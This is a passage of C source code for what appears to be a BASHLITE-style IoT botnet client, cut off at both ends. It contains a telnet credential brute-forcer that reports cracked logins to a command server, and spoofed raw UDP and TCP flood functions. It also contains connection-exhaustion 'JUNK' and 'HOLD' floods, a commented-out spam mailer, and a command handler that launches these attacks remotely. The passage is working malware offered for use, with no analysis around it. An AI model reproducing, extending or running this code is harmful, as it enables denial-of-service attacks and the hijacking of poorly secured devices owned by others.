  932. fds[i].totalTimeout = 0;
  933. fds[i].bufUsed = 0;
  934. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  935. else fds[i].state = 100;
  936. memset(fds[i].sockbuf, 0, 1024);
  937. continue;
  938. } else {
  939. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  940. fds[i].bufUsed = strlen(fds[i].sockbuf);
  941. }
  942.  
  943. if(fds[i].totalTimeout + 30 < time(NULL))
  944. {
  945. sclose(fds[i].fd);
  946. fds[i].state = 0;
  947. fds[i].complete = 1;
  948. }
  949. }
  950. break;
  951.  
  952. case 5:
  953. {
  954. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  955. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  956. fds[i].state = 6;
  957. }
  958. break;
  959.  
  960. case 6:
  961. {
  962. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  963.  
  964. if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  965. {
  966. fds[i].totalTimeout = 0;
  967. fds[i].bufUsed = 0;
  968. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  969. if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  970. else fds[i].state = 7;
  971. memset(fds[i].sockbuf, 0, 1024);
  972. continue;
  973. } else {
  974. fds[i].bufUsed = strlen(fds[i].sockbuf);
  975. }
  976.  
  977. if(fds[i].totalTimeout + 30 < time(NULL))
  978. {
  979. sclose(fds[i].fd);
  980. fds[i].state = 0;
  981. fds[i].complete = 1;
  982. }
  983. }
  984. break;
  985.  
  986. case 7:
  987. {
  988. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  989. fds[i].state = 8;
  990. }
  991. break;
  992.  
  993. case 8:
  994. {
  995. if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  996. fds[i].state = 9;
  997. }
  998. break;
  999.  
  1000. case 9:
  1001. {
  1002. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1003.  
  1004. if(readUntil(fds[i].fd, "bashlite", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1005. {
  1006. fds[i].totalTimeout = 0;
  1007. fds[i].bufUsed = 0;
  1008. if(strstr(fds[i].sockbuf, "multi-call") != NULL) sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1009. memset(fds[i].sockbuf, 0, 1024);
  1010. sclose(fds[i].fd);
  1011. fds[i].complete = 1;
  1012. //fds[i].lastWorked = 1;
  1013. fds[i].state = 0;
  1014. continue;
  1015. } else {
  1016. fds[i].bufUsed = strlen(fds[i].sockbuf);
  1017. }
  1018.  
  1019. if(fds[i].totalTimeout + 30 < time(NULL))
  1020. {
  1021. sclose(fds[i].fd);
  1022. fds[i].state = 0;
  1023. fds[i].complete = 1;
  1024. }
  1025. }
  1026. break;
  1027.  
  1028. case 100:
  1029. {
  1030. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1031. fds[i].state = 101;
  1032. }
  1033. break;
  1034.  
  1035. case 101:
  1036. {
  1037. if(send(fds[i].fd, "/bin/busybox;echo -e '\\147\\141\\171\\146\\147\\164'\r\n", 49, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  1038. fds[i].state = 102;
  1039. }
  1040. break;
  1041.  
  1042. case 102:
  1043. {
  1044. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  1045.  
  1046. if(readUntil(fds[i].fd, "multi-call", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  1047. {
  1048. fds[i].totalTimeout = 0;
  1049. fds[i].bufUsed = 0;
  1050. sockprintf(mainCommSock, "REPORT %s:%s:", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd]);
  1051. sclose(fds[i].fd);
  1052. fds[i].state = 0;
  1053. memset(fds[i].sockbuf, 0, 1024);
  1054. fds[i].complete = 1;
  1055. //fds[i].lastWorked = 1;
  1056. continue;
  1057. } else {
  1058. fds[i].bufUsed = strlen(fds[i].sockbuf);
  1059. }
  1060.  
  1061. if(fds[i].totalTimeout + 30 < time(NULL))
  1062. {
  1063. sclose(fds[i].fd);
  1064. fds[i].state = 0;
  1065. fds[i].complete = 1;
  1066. }
  1067. }
  1068. break;
  1069. }
  1070. }
  1071. }
  1072. }
  1073.  
  1074. // ___ ___ ___ _ _
  1075. // /\ /\ / \/ _ \ / __\ | ___ ___ __| |
  1076. // / / \ \/ /\ / /_)/ / _\ | |/ _ \ / _ \ / _` |
  1077. // \ \_/ / /_// ___/ / / | | (_) | (_) | (_| |
  1078. // \___/___,'\/ \/ |_|\___/ \___/ \__,_|
  1079.  
  1080. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1081. {
  1082. struct sockaddr_in dest_addr;
  1083.  
  1084. dest_addr.sin_family = AF_INET;
  1085. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1086. else dest_addr.sin_port = htons(port);
  1087. if(getHost(target, &dest_addr.sin_addr)) return;
  1088. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1089.  
  1090. register unsigned int pollRegister;
  1091. pollRegister = pollinterval;
  1092.  
  1093. if(spoofit == 32)
  1094. {
  1095. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1096. if(!sockfd)
  1097. {
  1098. sockprintf(mainCommSock, "Failed opening raw socket.");
  1099. return;
  1100. }
  1101.  
  1102. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  1103. if(buf == NULL) return;
  1104. memset(buf, 0, packetsize + 1);
  1105. makeRandomStr(buf, packetsize);
  1106.  
  1107. int end = time(NULL) + timeEnd;
  1108. register unsigned int i = 0;
  1109. while(1)
  1110. {
  1111. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1112.  
  1113. if(i == pollRegister)
  1114. {
  1115. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1116. if(time(NULL) > end) break;
  1117. i = 0;
  1118. continue;
  1119. }
  1120. i++;
  1121. }
  1122. } else {
  1123. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  1124. if(!sockfd)
  1125. {
  1126. sockprintf(mainCommSock, "Failed opening raw socket.");
  1127. return;
  1128. }
  1129.  
  1130. int tmp = 1;
  1131. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1132. {
  1133. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1134. return;
  1135. }
  1136.  
  1137. int counter = 50;
  1138. while(counter--)
  1139. {
  1140. srand(time(NULL) ^ rand_cmwc());
  1141. init_rand(rand());
  1142. }
  1143.  
  1144. in_addr_t netmask;
  1145.  
  1146. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1147. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1148.  
  1149. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  1150. struct iphdr *iph = (struct iphdr *)packet;
  1151. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  1152.  
  1153. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  1154.  
  1155. udph->len = htons(sizeof(struct udphdr) + packetsize);
  1156. udph->source = rand_cmwc();
  1157. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1158. udph->check = 0;
  1159.  
  1160. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  1161.  
  1162. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1163.  
  1164. int end = time(NULL) + timeEnd;
  1165. register unsigned int i = 0;
  1166. while(1)
  1167. {
  1168. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1169.  
  1170. udph->source = rand_cmwc();
  1171. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1172. iph->id = rand_cmwc();
  1173. iph->saddr = htonl( getRandomIP(netmask) );
  1174. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1175.  
  1176. if(i == pollRegister)
  1177. {
  1178. if(time(NULL) > end) break;
  1179. i = 0;
  1180. continue;
  1181. }
  1182. i++;
  1183. }
  1184. }
  1185. }
  1186.  
  1187. // _____ ___ ___ ___ _ _
  1188. // /__ \/ __\ / _ \ / __\ | ___ ___ __| |
  1189. // / /\/ / / /_)/ / _\ | |/ _ \ / _ \ / _` |
  1190. // / / / /___/ ___/ / / | | (_) | (_) | (_| |
  1191. // \/ \____/\/ \/ |_|\___/ \___/ \__,_|
  1192.  
  1193. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  1194. {
  1195. register unsigned int pollRegister;
  1196. pollRegister = pollinterval;
  1197.  
  1198. struct sockaddr_in dest_addr;
  1199.  
  1200. dest_addr.sin_family = AF_INET;
  1201. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1202. else dest_addr.sin_port = htons(port);
  1203. if(getHost(target, &dest_addr.sin_addr)) return;
  1204. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1205.  
  1206. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  1207. if(!sockfd)
  1208. {
  1209. sockprintf(mainCommSock, "Failed opening raw socket.");
  1210. return;
  1211. }
  1212.  
  1213. int tmp = 1;
  1214. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  1215. {
  1216. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  1217. return;
  1218. }
  1219.  
  1220. in_addr_t netmask;
  1221.  
  1222. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  1223. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  1224.  
  1225. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  1226. struct iphdr *iph = (struct iphdr *)packet;
  1227. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1228.  
  1229. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  1230.  
  1231. tcph->source = rand_cmwc();
  1232. tcph->seq = rand_cmwc();
  1233. tcph->ack_seq = 0;
  1234. tcph->doff = 5;
  1235.  
  1236. if(!strcmp(flags, "all"))
  1237. {
  1238. tcph->syn = 1;
  1239. tcph->rst = 1;
  1240. tcph->fin = 1;
  1241. tcph->ack = 1;
  1242. tcph->psh = 1;
  1243. } else {
  1244. unsigned char *pch = strtok(flags, ",");
  1245. while(pch)
  1246. {
  1247. if(!strcmp(pch, "syn"))
  1248. {
  1249. tcph->syn = 1;
  1250. } else if(!strcmp(pch, "rst"))
  1251. {
  1252. tcph->rst = 1;
  1253. } else if(!strcmp(pch, "fin"))
  1254. {
  1255. tcph->fin = 1;
  1256. } else if(!strcmp(pch, "ack"))
  1257. {
  1258. tcph->ack = 1;
  1259. } else if(!strcmp(pch, "psh"))
  1260. {
  1261. tcph->psh = 1;
  1262. } else {
  1263. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  1264. }
  1265. pch = strtok(NULL, ",");
  1266. }
  1267. }
  1268.  
  1269. tcph->window = rand_cmwc();
  1270. tcph->check = 0;
  1271. tcph->urg_ptr = 0;
  1272. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  1273. tcph->check = tcpcsum(iph, tcph);
  1274.  
  1275. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1276.  
  1277. int end = time(NULL) + timeEnd;
  1278. register unsigned int i = 0;
  1279. while(1)
  1280. {
  1281. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  1282.  
  1283. iph->saddr = htonl( getRandomIP(netmask) );
  1284. iph->id = rand_cmwc();
  1285. tcph->seq = rand_cmwc();
  1286. tcph->source = rand_cmwc();
  1287. tcph->check = 0;
  1288. tcph->check = tcpcsum(iph, tcph);
  1289. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  1290.  
  1291. if(i == pollRegister)
  1292. {
  1293. if(time(NULL) > end) break;
  1294. i = 0;
  1295. continue;
  1296. }
  1297. i++;
  1298. }
  1299. }
  1300.  
  1301.  
  1302. // __ __ ___ _ _
  1303. // \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| |
  1304. // \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` |
  1305. // /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| |
  1306. // \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_|
  1307.  
  1308. void sendJUNK(unsigned char *ip, int port, int end_time)
  1309. {
  1310.  
  1311. int max = getdtablesize() / 2, i;
  1312.  
  1313. struct sockaddr_in dest_addr;
  1314. dest_addr.sin_family = AF_INET;
  1315. dest_addr.sin_port = htons(port);
  1316. if(getHost(ip, &dest_addr.sin_addr)) return;
  1317. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1318.  
  1319. struct state_t
  1320. {
  1321. int fd;
  1322. uint8_t state;
  1323. } fds[max];
  1324. memset(fds, 0, max * (sizeof(int) + 1));
  1325.  
  1326. fd_set myset;
  1327. struct timeval tv;
  1328. socklen_t lon;
  1329. int valopt, res;
  1330.  
  1331. unsigned char *watwat = malloc(1024);
  1332. memset(watwat, 0, 1024);
  1333.  
  1334. int end = time(NULL) + end_time;
  1335. while(end > time(NULL))
  1336. {
  1337. for(i = 0; i < max; i++)
  1338. {
  1339. switch(fds[i].state)
  1340. {
  1341. case 0:
  1342. {
  1343. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1344. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1345. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1346. else fds[i].state = 1;
  1347. }
  1348. break;
  1349.  
  1350. case 1:
  1351. {
  1352. FD_ZERO(&myset);
  1353. FD_SET(fds[i].fd, &myset);
  1354. tv.tv_sec = 0;
  1355. tv.tv_usec = 10000;
  1356. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1357. if(res == 1)
  1358. {
  1359. lon = sizeof(int);
  1360. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1361. if(valopt)
  1362. {
  1363. close(fds[i].fd);
  1364. fds[i].state = 0;
  1365. } else {
  1366. fds[i].state = 2;
  1367. }
  1368. } else if(res == -1)
  1369. {
  1370. close(fds[i].fd);
  1371. fds[i].state = 0;
  1372. }
  1373. }
  1374. break;
  1375.  
  1376. case 2:
  1377. {
  1378. //nonblocking sweg
  1379. makeRandomStr(watwat, 1024);
  1380. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  1381. {
  1382. close(fds[i].fd);
  1383. fds[i].state = 0;
  1384. }
  1385. }
  1386. break;
  1387. }
  1388. }
  1389. }
  1390. }
  1391.  
  1392. // _ _ ___ _ _
  1393. // /\ /\___ | | __| | / __\ | ___ ___ __| |
  1394. // / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` |
  1395. // / __ / (_) | | (_| | / / | | (_) | (_) | (_| |
  1396. // \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_|
  1397.  
  1398. void sendHOLD(unsigned char *ip, int port, int end_time)
  1399. {
  1400.  
  1401. int max = getdtablesize() / 2, i;
  1402.  
  1403. struct sockaddr_in dest_addr;
  1404. dest_addr.sin_family = AF_INET;
  1405. dest_addr.sin_port = htons(port);
  1406. if(getHost(ip, &dest_addr.sin_addr)) return;
  1407. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1408.  
  1409. struct state_t
  1410. {
  1411. int fd;
  1412. uint8_t state;
  1413. } fds[max];
  1414. memset(fds, 0, max * (sizeof(int) + 1));
  1415.  
  1416. fd_set myset;
  1417. struct timeval tv;
  1418. socklen_t lon;
  1419. int valopt, res;
  1420.  
  1421. unsigned char *watwat = malloc(1024);
  1422. memset(watwat, 0, 1024);
  1423.  
  1424. int end = time(NULL) + end_time;
  1425. while(end > time(NULL))
  1426. {
  1427. for(i = 0; i < max; i++)
  1428. {
  1429. switch(fds[i].state)
  1430. {
  1431. case 0:
  1432. {
  1433. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1434. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1435. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  1436. else fds[i].state = 1;
  1437. }
  1438. break;
  1439.  
  1440. case 1:
  1441. {
  1442. FD_ZERO(&myset);
  1443. FD_SET(fds[i].fd, &myset);
  1444. tv.tv_sec = 0;
  1445. tv.tv_usec = 10000;
  1446. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  1447. if(res == 1)
  1448. {
  1449. lon = sizeof(int);
  1450. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  1451. if(valopt)
  1452. {
  1453. close(fds[i].fd);
  1454. fds[i].state = 0;
  1455. } else {
  1456. fds[i].state = 2;
  1457. }
  1458. } else if(res == -1)
  1459. {
  1460. close(fds[i].fd);
  1461. fds[i].state = 0;
  1462. }
  1463. }
  1464. break;
  1465.  
  1466. case 2:
  1467. {
  1468. FD_ZERO(&myset);
  1469. FD_SET(fds[i].fd, &myset);
  1470. tv.tv_sec = 0;
  1471. tv.tv_usec = 10000;
  1472. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  1473. if(res != 0)
  1474. {
  1475. close(fds[i].fd);
  1476. fds[i].state = 0;
  1477. }
  1478. }
  1479. break;
  1480. }
  1481. }
  1482. }
  1483. }
  1484.  
  1485. // __ _ __ _ _
  1486. // / _\ ___ _ __ __| | /__\ __ ___ __ _(_) |
  1487. // \ \ / _ \ '_ \ / _` | /_\| '_ ` _ \ / _` | | |
  1488. // _\ \ __/ | | | (_| | //__| | | | | | (_| | | |
  1489. // \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|
  1490.  
  1491. /*
  1492. void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)
  1493. {
  1494. unsigned char buffer[1024];
  1495. memset(buffer, 0, 1024);
  1496.  
  1497. int fd = socket(AF_INET, SOCK_STREAM, 0);
  1498. if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }
  1499. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1500. if(strstr(buffer, "220 ") == NULL) { close(fd); return; }
  1501.  
  1502. if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
  1503. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1504. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1505. memset(buffer, 0, 1024);
  1506.  
  1507. if(send(fd, "MAIL FROM: <mrras@rastrent.com>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
  1508. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1509. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1510. memset(buffer, 0, 1024);
  1511.  
  1512. if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }
  1513. if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
  1514. if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }
  1515. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1516. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1517. memset(buffer, 0, 1024);
  1518.  
  1519. if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }
  1520. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1521. if(strstr(buffer, "354 ") == NULL) { close(fd); return; }
  1522. memset(buffer, 0, 1024);
  1523.  
  1524. if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
  1525. if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
  1526. if(send(fd, "\r\nFrom: mrras@rastrent.com\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }
  1527. if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }
  1528. if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
  1529. if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }
  1530. if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }
  1531. if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
  1532. if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
  1533. memset(buffer, 0, 1024);
  1534.  
  1535. send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);
  1536.  
  1537. close(fd);
  1538. return;
  1539. }
  1540. */
  1541.  
  1542. // _____ __ ___ _
  1543. // \_ \/__\ / __\ /\/\ __ _(_)_ __
  1544. // / /\/ \// / / / \ / _` | | '_ \
  1545. // /\/ /_/ _ \/ /___ / /\/\ \ (_| | | | | |
  1546. // \____/\/ \_/\____/ \/ \/\__,_|_|_| |_|
  1547.  
  1548. void processCmd(int argc, unsigned char *argv[])
  1549. {
  1550. if(!strcmp(argv[0], "PING"))
  1551. {
  1552. sockprintf(mainCommSock, "PONG!");
  1553. return;
  1554. }
  1555.  
  1556. if(!strcmp(argv[0], "GETLOCALIP"))
  1557. {
  1558. sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
  1559. return;
  1560. }
  1561.  
  1562. if(!strcmp(argv[0], "SCANNER"))
  1563. {
  1564. if(argc != 2)
  1565. {
  1566. sockprintf(mainCommSock, "SCANNER ON | OFF");
  1567. return;
  1568. }
  1569.  
  1570. if(!strcmp(argv[1], "OFF"))
  1571. {
  1572. if(scanPid == 0) return;
  1573.  
  1574. kill(scanPid, 9);
  1575. scanPid = 0;
  1576. }
  1577.  
  1578. if(!strcmp(argv[1], "ON"))
  1579. {
  1580. if(scanPid != 0) return;
  1581. uint32_t parent;
  1582. parent = fork();
  1583. if (parent > 0) { scanPid = parent; return;}
  1584. else if(parent == -1) return;
  1585.  
  1586. StartTheLelz();
  1587. _exit(0);
  1588. }
  1589. }
  1590.  
  1591. /*
  1592. if(!strcmp(argv[0], "EMAIL"))
  1593. {
  1594. if(argc < 5)
  1595. {
  1596. //sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");
  1597. return;
  1598. }
  1599.  
  1600. unsigned char *target = argv[1];
  1601. unsigned char *host = argv[2];
  1602. unsigned char *subject = argv[3];
  1603. unsigned char *message = argv[4];
  1604.  
  1605. if (listFork()) { return; }
  1606.  
  1607. sendEmail(target, host, subject, message);
  1608. close(mainCommSock);
  1609.  
  1610. _exit(0);
  1611. }
  1612. */
  1613.  
  1614. if(!strcmp(argv[0], "HOLD"))
  1615. {
  1616. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1617. {
  1618. //sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
  1619. return;
  1620. }
  1621.  
  1622. unsigned char *ip = argv[1];
  1623. int port = atoi(argv[2]);
  1624. int time = atoi(argv[3]);
  1625.  
  1626. if(strstr(ip, ",") != NULL)
  1627. {
  1628. sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
  1629. unsigned char *hi = strtok(ip, ",");
  1630. while(hi != NULL)
  1631. {
  1632. if(!listFork())
  1633. {
  1634. sendHOLD(hi, port, time);
  1635. close(mainCommSock);
  1636. _exit(0);
  1637. }
  1638. hi = strtok(NULL, ",");
  1639. }
  1640. } else {
  1641. if (listFork()) { return; }
  1642.  
  1643. sockprintf(mainCommSock, "HOLD Flooding %s:%d for %d seconds.", ip, port, time);
  1644. sendHOLD(ip, port, time);
  1645. close(mainCommSock);
  1646.  
  1647. _exit(0);
  1648. }
  1649. }
  1650.  
  1651. if(!strcmp(argv[0], "JUNK"))
  1652. {
  1653. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1654. {
  1655. //sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
  1656. return;
  1657. }
  1658.  
  1659. unsigned char *ip = argv[1];
  1660. int port = atoi(argv[2]);
  1661. int time = atoi(argv[3]);
  1662.  
  1663. if(strstr(ip, ",") != NULL)
  1664. {
  1665. sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
  1666. unsigned char *hi = strtok(ip, ",");
  1667. while(hi != NULL)
  1668. {
  1669. if(!listFork())
  1670. {
  1671. sendJUNK(hi, port, time);
  1672. close(mainCommSock);
  1673. _exit(0);
  1674. }
  1675. hi = strtok(NULL, ",");
  1676. }
  1677. } else {
  1678. if (listFork()) { return; }
  1679.  
  1680. sockprintf(mainCommSock, "JUNK Flooding %s:%d for %d seconds.", ip, port, time);
  1681. sendJUNK(ip, port, time);
  1682. close(mainCommSock);
  1683.  
  1684. _exit(0);
  1685. }
  1686. }
  1687.  
  1688. if(!strcmp(argv[0], "UDP"))
  1689. {
  1690. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1691. {
  1692. //sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
  1693. return;
  1694. }
  1695.  
  1696. unsigned char *ip = argv[1];
  1697. int port = atoi(argv[2]);
  1698. int time = atoi(argv[3]);
  1699. int spoofed = atoi(argv[4]);
  1700. int packetsize = atoi(argv[5]);
  1701. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1702.  
  1703. if(strstr(ip, ",") != NULL)
  1704. {
  1705. sockprintf(mainCommSock, "UDP Flooding %s for %d seconds.", ip, time);
  1706. unsigned char *hi = strtok(ip, ",");
  1707. while(hi != NULL)
  1708. {
  1709. if(!listFork())
  1710. {
  1711. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1712. close(mainCommSock);
  1713. _exit(0);
  1714. }
  1715. hi = strtok(NULL, ",");
  1716. }
  1717. } else {
  1718. if (listFork()) { return; }
  1719.  
  1720. sockprintf(mainCommSock, "UDP Flooding %s:%d for %d seconds.", ip, port, time);
  1721. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1722. close(mainCommSock);
  1723.  
  1724. _exit(0);
  1725. }
  1726. }
  1727.  
  1728. if(!strcmp(argv[0], "TCP"))
  1729. {
  1730. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1731. {
  1732. //sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  1733. return;
  1734. }
  1735.  
  1736. unsigned char *ip = argv[1];
  1737. int port = atoi(argv[2]);
  1738. int time = atoi(argv[3]);
  1739. int spoofed = atoi(argv[4]);
  1740. unsigned char *flags = argv[5];
  1741.  
  1742. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1743. int psize = argc > 6 ? atoi(argv[6]) : 0;
  1744.  
  1745. if(strstr(ip, ",") != NULL)
  1746. {
  1747. sockprintf(mainCommSock, "TCP Flooding %s for %d seconds.", ip, time);
  1748. unsigned char *hi = strtok(ip, ",");
  1749. while(hi != NULL)
  1750. {
  1751. if(!listFork())
  1752. {
  1753. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1754. close(mainCommSock);
  1755. _exit(0);
  1756. }
  1757. hi = strtok(NULL, ",");
  1758. }
  1759. } else {
  1760. if (listFork()) { return; }
  1761.  
